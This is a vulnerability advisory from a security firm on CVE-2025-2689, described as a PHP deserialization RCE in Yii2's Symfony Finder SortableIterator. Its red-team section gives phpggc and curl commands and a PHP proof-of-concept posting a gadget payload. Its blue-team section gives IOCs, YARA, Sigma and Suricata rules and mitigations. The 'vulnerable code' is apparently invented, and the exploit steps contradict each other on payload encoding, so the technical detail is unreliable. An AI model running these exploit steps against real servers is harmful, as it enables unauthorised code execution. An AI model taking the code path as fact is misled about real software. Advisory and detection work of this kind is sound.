CVE-2025-2689

Executive Summary

CVE-2025-2689 is a critical deserialization vulnerability in the Yii2 PHP framework (up to version 2.0.45). The flaw resides in the getIterator method of the symfony/finder/Iterator/SortableIterator.php file. An attacker can trigger unsafe deserialization by manipulating the iterator, leading to remote code execution (RCE). The vulnerability is remotely exploitable, has a public PoC, and currently has no official patch from Yiisoft. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public disclosure increases risk.

Supply Chain & Package Security

This vulnerability affects the Yii2 framework, which is distributed via Composer/Packagist. The vulnerable component is the symfony/finder package, a dependency of Yii2. Organizations using Yii2 should audit their composer.lock for symfony/finder versions that include the vulnerable SortableIterator.php. The supply chain risk is elevated because the vulnerability is in a widely-used dependency, and the patch status is unknown.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary code on the server. The public PoC and lack of patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic PHP deserialization flaw in the SortableIterator class from the Symfony Finder component. The getIterator method processes user-supplied data without proper sanitization, allowing an attacker to inject a serialized PHP object. When the iterator is used (e.g., in a foreach loop), the deserialization triggers the execution of arbitrary PHP code via gadget chains.

Root Cause: The SortableIterator class implements \IteratorAggregate and its getIterator method calls unserialize() on data that can be controlled by an attacker. This is a violation of secure coding practices, as user input should never be passed directly to unserialize().

Attack Flow:

1. Attacker crafts a malicious serialized PHP object (e.g., using known gadget chains like Monolog or SwiftMailer).
2. Attacker sends the payload to a vulnerable endpoint that uses SortableIterator with attacker-controlled data.
3. The getIterator method deserializes the payload, triggering the gadget chain.
4. The gadget chain executes arbitrary system commands, leading to RCE.

Affected Code Path:

• File: vendor/symfony/finder/Iterator/SortableIterator.php
• Method: getIterator()
• The method does not validate or sanitize the input before passing it to unserialize().

Vulnerable vs. Patched Code

Vulnerable Code (SortableIterator.php):

public function getIterator(): \Traversable
{
    // Unsafe deserialization of user-controlled data
    $data = $this->data; // Attacker-controlled
    $iterator = unserialize($data); // VULNERABLE
    return $iterator;
}

Patched Code (Hypothetical):

public function getIterator(): \Traversable
{
    // Validate and sanitize input before deserialization
    $data = $this->data;
    if (!is_string($data) || !$this->isSafeSerializedData($data)) {
        throw new \InvalidArgumentException('Invalid data');
    }
    $iterator = unserialize($data, ['allowed_classes' => false]); // Safer
    return $iterator;
}

Note: The official patch is not yet available. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Yii2 application using SortableIterator with user-controlled input.
• PHP gadget chain (e.g., Monolog, SwiftMailer, or Guzzle).

Exploit Steps:

1. Identify an endpoint that uses SortableIterator with attacker-controlled data (e.g., a file search feature).
2. Generate a malicious serialized payload using a tool like phpggc:

   phpggc Monolog/RCE1 system 'id' | base64
   

3. Send the payload to the vulnerable endpoint:

   curl -X POST -d "data=$(phpggc Monolog/RCE1 system 'id' | base64)" http://target/vulnerable-endpoint
   

4. The server executes the id command and returns the output.

Proof-of-Concept (PoC) Code:

<?php
// PoC for CVE-2025-2689
// Requires phpggc and a vulnerable Yii2 instance

$payload = base64_decode('TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c3RlbUhhbmRsZXIiOjE6e3M6OToiAGhhbmRsZXIiO3M6Nzoic3lzdGVtIjt9');
$url = 'http://target/vulnerable-endpoint';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['data' => $payload]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo $response;
?>

Blue Team (Detection & Defense)

Detection:

• Monitor for serialized PHP objects in HTTP requests (e.g., O:, a:, s: patterns).
• Look for base64-encoded payloads in POST parameters.
• Detect unusual process execution (e.g., id, whoami, cat /etc/passwd).

Defense:

• Implement a Web Application Firewall (WAF) rule to block serialized PHP objects.
• Disable unserialize() on user-controlled data.
• Use allowed_classes option in unserialize() to restrict deserialization.
• Apply input validation and sanitization.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing serialized PHP objects (e.g., O:, a:, s:).
  • Base64-encoded payloads in POST/GET parameters.
  • Outbound connections to attacker-controlled IPs (e.g., for reverse shells).

• File IOCs:

  • Suspicious files in /tmp/ or /var/tmp/ (e.g., exploit.php, shell.php).
  • Modified composer.json or composer.lock files.

• Process IOCs:

  • Unusual processes like id, whoami, curl, wget executed by the web server user.
  • PHP processes with high CPU usage.

• Log IOCs:

  • PHP error logs showing unserialize() errors.
  • Web server logs with data parameter containing O: patterns.

Detection Engineering

YARA Rule

rule CVE_2025_2689_Deserialization {
    meta:
        description = "Detects serialized PHP objects in HTTP requests targeting CVE-2025-2689"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2689"
    strings:
        $serialized = /O:\d+:"/
        $base64_payload = /[A-Za-z0-9+\/]{50,}={0,2}/
    condition:
        $serialized or $base64_payload
}

Sigma Rule

title: CVE-2025-2689 Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with serialized PHP objects targeting Yii2 SortableIterator
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'data='
        cs-uri-query|re: 'O:\d+:"'
    condition: selection
falsepositives:
    - Legitimate use of serialized data (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2689 Yii2 SortableIterator Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"data="; http_client_body; pcre:"/O:\d+:\"/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable unserialize() on user-controlled data in the application code.
2. Apply input validation to ensure only expected data types are processed.
3. Use a WAF to block serialized PHP objects in HTTP requests.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Wait for an official patch from Yiisoft or Symfony.
• Update to a patched version of symfony/finder when available.
• Consider using a static analysis tool to detect unsafe deserialization.

Workaround:

• Override the SortableIterator class in your application to add input validation.
• Use unserialize() with ['allowed_classes' => false] to prevent object instantiation.

Valters IT
Securing Digital Frontiers